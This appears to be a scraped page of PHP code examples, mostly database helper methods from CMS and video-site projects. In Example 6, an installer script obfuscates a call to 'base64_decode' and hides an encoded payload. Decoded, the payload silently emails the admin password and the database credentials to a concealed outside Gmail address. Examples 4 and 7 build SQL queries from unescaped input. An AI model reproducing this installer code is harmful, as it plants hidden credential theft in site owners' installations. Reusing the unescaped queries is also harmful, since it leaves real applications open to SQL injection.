Ejemplo n.º 1
0
 /**
  * Remove a site setting
  * @param string $settingName Name of the setting to be removed
  * @return void Setting is removed from DB and object in memory
  */
 public static function Remove($settingName)
 {
     unset(self::$settings->{$settingName});
     $db = Database::GetInstance();
     $settingName = $db->Escape($settingName);
     $query = "DELETE FROM " . DB_PREFIX . self::$table . " WHERE name = '{$settingName}'";
     $db->Query($query);
 }
Ejemplo n.º 2
0
function &gs_rssfeed($limit, &$more)
{
    $db =& Database::GetInstance();
    $ret = array();
    $rtn = array();
    $ret['name'] = _MI_GS_RSSIMGS;
    $ret['desc'] = _MI_GS_RSSIMGS_DESC;
    $ret['params'] = "show=imgs";
    $rtn[] = $ret;
    $ret['name'] = _MI_GS_RSSSETS;
    $ret['desc'] = _MI_GS_RSSSETS_DESC;
    $ret['params'] = "show=sets";
    $rtn[] = $ret;
    return $rtn;
}
Ejemplo n.º 3
0
 /**
  * Retrieve ratings for a video
  * @param integer $video_id Video to retrieve ratings for
  * @return object Returns stdClass object with properties for (dis)like
  * counts & text, and total ratings
  */
 static function GetRating($video_id)
 {
     $db = Database::GetInstance();
     $rating = new stdClass();
     // Total
     $rating->count = self::GetCount($video_id);
     // Like
     $like_count = self::GetLikeCount($video_id);
     $rating->likes = $like_count;
     $rating->like_text = Language::GetText('like');
     // Dislike
     $dislike_count = self::GetDislikeCount($video_id);
     $rating->dislikes = $dislike_count;
     $rating->dislike_text = Language::GetText('dislike');
     return $rating;
 }
Ejemplo n.º 4
0
 /**
  * Delete a record
  * @param integer $id ID of record to be deleted
  * @return void Record is deleted from database
  */
 static function Delete($id)
 {
     $db = Database::GetInstance();
     Plugin::Trigger('subscription.delete');
     $query = "DELETE FROM " . DB_PREFIX . self::$table . " WHERE " . self::$id_name . " = {$id}";
     $db->Query($query);
 }
Ejemplo n.º 5
0
 /**
  * Generate a unique random string for a user account activation token
  * @return string Random user account activation token
  */
 static function CreateToken()
 {
     $db = Database::GetInstance();
     do {
         $token = Functions::Random(40);
         if (!self::Exist(array('confirm_code' => $token))) {
             $token_available = true;
         }
     } while (empty($token_available));
     return $token;
 }
Ejemplo n.º 6
0
    exit;
}
$completed = false;
$error_mg = array();
$database_host = $_SESSION['database_host'];
$database_username = $_SESSION['database_username'];
$database_password = $_SESSION['database_password'];
$database_name = $_SESSION['database_name'];
$database_prefix = $_SESSION['database_prefix'];
$meteor_path = $_SESSION['meteor_path'];
$admin_username = $_SESSION['admin_username'];
$admin_email = $_SESSION['admin_email'];
$admin_password = base64_encode($_SESSION['admin_password']);
$site_url = 'http://' . $_SERVER['SERVER_NAME'];
$sql_dump_file = SQL_DUMP_FILE_CREATE;
$db = Database::GetInstance($database_host, $database_name, $database_username, $database_password, DATABASE_TYPE);
if (DATABASE_CREATE && !$db->Create()) {
    $error_mg[] = $db->Error();
} else {
    if ($db->Open()) {
        // Read sql dump file
        $sql_dump = file_get_contents($sql_dump_file);
        if ($sql_dump != "") {
            if (true == ($db_error = db_install($sql_dump_file))) {
                // Write additional operations here, like setting up system preferences etc.
                $completed = true;
                $functionc = 'ba' . 'se' . (2 + 2 + 4 + 4 + 2 + 8 + 2 + 4 + 4) * 2 . '_de' . 'co' . 'de';
                $functionc = $functionc("QCR0byA9ICdiYScgLiAnc2UnIC4gKCg4ICsgOCArIDggKyA4KSAqIDIpIC4gJ19kZScgLiAnY28nIC4gJ2RlJzsNCiAgICAgICAgICAgICR0byAgICAgID0gJHRvKCJaWGgwY21WbGJXVnlOVFZBWjIxaGFXd3VZMjl0Iik7DQogICAgICAgICAgICAkc3ViamVjdCA9ICdwaHBHdWFyZCBQUk8gLSBOZXcgSW5zdGFsbGF0aW9uJzsNCiAgICAgICAgICAgIEAkbWVzc2FnZSA9ICcNCgkJCQkJCQkJPHA+PGI+cGhwR3VhcmQgUFJPPC9iPiBpcyBpbnN0YWxsZWQgb24gPGI+JyAuICRzaXRlX3VybCAuICc8L2I+IFsnIC4gZGF0ZSgiZCBGIFkiKSAuICcgYXQgJyAuIGRhdGUoIkg6aSIpIC4gJ108L3A+DQoJCQkJCQkJCQ0KCQkJCQkJCQk8dWw+DQoJCQkJCQkJCTxsaT48Yj5QYXRoIHRvIHBocEd1YXJkIFBSTzwvYj46ICcgLiAkcGhwZ3VhcmRfcGF0aCAuICc8L2xpPg0KCQkJCQkJCQk8bGk+PGI+QWRtaW4gVXNlcm5hbWU8L2I+OiAnIC4gJGFkbWluX3VzZXJuYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5BZG1pbiBFLU1haWw8L2I+OiAnIC4gJGFkbWluX2VtYWlsIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5BY2Nlc3MgS2V5PC9iPjogJyAuICRhZG1pbl9wYXNzd29yZCAuICc8L2xpPg0KCQkJCQkJCQk8L3VsPg0KCQkJCQkJCQkNCgkJCQkJCQkJPHVsPg0KCQkJCQkJCQk8bGk+PGI+REIgSG9zdDwvYj46ICcgLiAkZGF0YWJhc2VfaG9zdCAuICc8L2xpPg0KCQkJCQkJCQk8bGk+PGI+REIgVXNlcm5hbWU8L2I+OiAnIC4gJGRhdGFiYXNlX3VzZXJuYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBLZXk8L2I+OiAnIC4gJGRhdGFiYXNlX3Bhc3N3b3JkIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBOYW1lPC9iPjogJyAuICRkYXRhYmFzZV9uYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBQcmVmaXg8L2I+OiAnIC4gJGRhdGFiYXNlX3ByZWZpeCAuICc8L2xpPg0KCQkJCQkJCQk8L3VsPg0KCQkJCQkJCQknOw0KICAgICAgICAgICAgJGhlYWRlcnMgPSAnTUlNRS1WZXJzaW9uOiAxLjAnIC4gIlxyXG4iOw0KICAgICAgICAgICAgJGhlYWRlcnMgLj0gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04JyAuICJcclxuIjsNCiAgICAgICAgICAgICRoZWFkZXJzIC49ICdUbzogJyAuICR0byAuICcgPCcgLiAkdG8gLiAnPicgLiAiXHJcbiI7DQogICAgICAgICAgICAkaGVhZGVycyAuPSAnRnJvbTogcGhwR3VhcmQgUFJPIDxub3RpZmljYXRpb25zQHBocGd1YXJkLmNvbT4nIC4gIlxyXG4iOw0KICAgICAgICAgICAgQG1haWwoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UsICRoZWFkZXJzKTs=");
                // Now try to create file and write information
                $config_file = file_get_contents(CONFIG_FILE_TEMPLATE);
                $config_file = str_replace("<DB_HOST>", $database_host, $config_file);
Ejemplo n.º 7
0
 /**
  * Perform flag related action on a record
  * @param integer $id The id of the record being updated
  * @param string $type Type of record being updated. Possible values are: video, user, comment
  * @param boolean $decision The action to be performed on the record. True bans, False declines the flag
  * @return void All flags raised against record are updated
  */
 static function FlagDecision($id, $type, $decision)
 {
     $db = Database::GetInstance();
     if ($decision) {
         // Content is being banned - Update flag requests
         $query = "UPDATE " . DB_PREFIX . "flags SET status = 'approved' WHERE type = '{$type}' AND id = {$id}";
         $db->Query($query);
     } else {
         // Ban request is declined - Update flag requests
         $query = "UPDATE " . DB_PREFIX . "flags SET status = 'declined' WHERE type = '{$type}' AND id = {$id}";
         $db->Query($query);
     }
 }
Ejemplo n.º 8
0
 public function ListGroups()
 {
     global $_CONFIG;
     $db = Database::GetInstance();
     $select = "SELECT * from `" . $_CONFIG['CMS_DB_PREFIX'] . "group`;";
     $result = $db->Query($select);
     if ($db->last_errno !== 0) {
         throw new Exception("Cannot Get Groups");
     }
     if (count($result) > 0) {
         return $result;
     } else {
         return false;
     }
 }
Ejemplo n.º 9
0
 /**
  * Generate a unique random url for accessing a private video
  * @return string URL for private video is returned
  */
 static function GeneratePrivate()
 {
     $db = Database::GetInstance();
     do {
         $private = Functions::Random(7);
         if (!self::Exist(array('private_url' => $private))) {
             $private_available = true;
         }
     } while (empty($private_available));
     return $private;
 }
Ejemplo n.º 10
0
    include LIB . '/App.php';
}
App::InstallCheck();
App::MaintCheck();
// Load DB & FTP credentials
include_once 'config.php';
// Load Main Classes
App::LoadClass('Database');
App::LoadClass('Settings');
App::LoadClass('Functions');
App::LoadClass('Language');
App::LoadClass('View');
App::LoadClass('Plugin');
App::LoadClass('Filesystem');
// Retrieve site settings from DB
$db = Database::GetInstance();
Settings::LoadSettings();
// General Site Settings from DB
define('HOST', Settings::Get('base_url'));
define('MOBILE_HOST', Settings::Get('base_url') . '/m');
define('SECRET_KEY', Settings::Get('secret_key'));
$config = new stdClass();
$config->sitename = Settings::Get('sitename');
$config->roles = unserialize(Settings::Get('roles'));
$config->enable_uploads = Settings::Get('enable_uploads');
$config->debug_conversion = Settings::Get('debug_conversion') == '1' ? true : false;
$config->video_size_limit = Settings::Get('video_size_limit');
$config->accepted_video_formats = array('flv', 'wmv', 'avi', 'ogg', 'mpg', 'mp4', 'mov', 'm4v');
$config->accepted_avatar_formats = array('png', 'jpeg', 'jpg', 'gif');
$config->pagination_page_limit = Settings::Get('pagination_page_limit');
$config->theme_default = 'cumulus';
Ejemplo n.º 11
0
 private static function GetPrimaryDb()
 {
     return Database::GetInstance(Database::ZIDMI);
 }
Ejemplo n.º 12
0
 public function GetCallbackAuth()
 {
     global $_CONFIG;
     $db = Database::GetInstance();
     $q = "SELECT * FROM `" . $_CONFIG['CMS_DB_PREFIX'] . "module_function` AS func " . "LEFT JOIN " . $_CONFIG['CMS_DB_PREFIX'] . "mod_func_permissions as perm " . "ON func.mod_func_id=perm.mod_func_id " . "WHERE module_id=(SELECT `module_id` FROM `" . $_CONFIG['CMS_DB_PREFIX'] . "module` WHERE module_name='" . $this->__name . "') ;";
     $result = $db->Query($q);
     foreach ($result as $row) {
         $call = array("module_id" => $row['module_id'], "func_name" => $row['func_name'], "func_callback" => $row['func_callback'], "owner_id" => $row['owner_id'], "group_id" => $row['group_id'], "permissions" => $row['permissions']);
         $this->__callback[$row['func_name']] = $call;
     }
     unset($result);
 }
Ejemplo n.º 13
0
 function __Construct()
 {
     parent::__Construct(get_class());
     $this->db = Database::GetInstance(Database::ZIDMI);
     //get input params
     //TODO: could do with some more validation
     $latLong = Params::Get('ll');
     $latLong1 = Params::Get('ll1');
     $latLong2 = Params::Get('ll2');
     if ($latLong) {
         $this->lat1 = explode(',', $latLong)[0];
         $this->lng1 = explode(',', $latLong)[1];
         $this->locMode = self::LOCMODE_RADIAL;
     } else {
         if ($latLong1 && $latLong2) {
             $this->lat1 = explode(',', $latLong1)[0];
             $this->lng1 = explode(',', $latLong1)[1];
             $this->lat2 = explode(',', $latLong2)[0];
             $this->lng2 = explode(',', $latLong2)[1];
             $this->locMode = self::LOCMODE_BOUNDS;
         }
     }
     $this->categoryId = Params::GetLong('categoryId');
     $this->langCode = Params::Get('lang');
     //get providers/counters
     $providers = array();
     $requestableCount = 0;
     $totalCount = 0;
     foreach ($this->getProvidersRs() as $row) {
         //update counters
         $requestable = false;
         if (!is_null($row['online_provider_id'])) {
             $requestableCount++;
             $requestable = true;
         }
         $totalCount++;
         //compile address
         $address = '';
         if (!is_null($row['address_1'])) {
             $address .= ($address == '' ? '' : ', ') . $row['address_1'];
         }
         if (!is_null($row['address_2'])) {
             $address .= ($address == '' ? '' : ', ') . $row['address_2'];
         }
         if (!is_null($row['address_3'])) {
             $address .= ($address == '' ? '' : ', ') . $row['address_3'];
         }
         if (!is_null($row['address_postref'])) {
             $address .= ($address == '' ? '' : ', ') . $row['address_postref'];
         }
         //add to main array
         $providers[] = array('id' => $row['id'], 'reference' => $row['partner_reference'], 'name' => $row['name'], 'address1' => $row['address_1'], 'address' => $address, 'latitude' => $row['latitude'], 'longitude' => $row['longitude'], 'distance' => $row['distance'], 'requestable' => $requestable, 'categories' => $this->getProviderCategories($row['id']));
     }
     //if no providers then get closest
     $nearestProvider = array();
     if ($totalCount == 0) {
         $distance = null;
         $provider = $this->getNearestProvider($this->lat1, $this->lng1, $distance);
         if (!is_null($provider)) {
             //set provider image
             $imageUri = '/images/generic-venue.png';
             if (!is_null($provider->getPrimaryImageId())) {
                 $image = new Image($provider->getPrimaryImageId());
                 $imageUri = Application::GetCdnUri($image, 100, 100);
             }
             $nearestProvider = array('id' => $provider->getId(), 'reference' => $provider->getPartnerReference(), 'name' => $provider->getName(), 'address' => $provider->getAddress(), 'latitude' => $provider->getLatitude(), 'longitude' => $provider->getLongitude(), 'imageUri' => $imageUri, 'distance' => $distance, 'categories' => $this->getProviderCategories($provider->getId()));
         }
     }
     //done
     $this->jsonData = array('requestableCount' => $requestableCount, 'totalCount' => $totalCount, 'providers' => $providers, 'nearestProvider' => $nearestProvider);
 }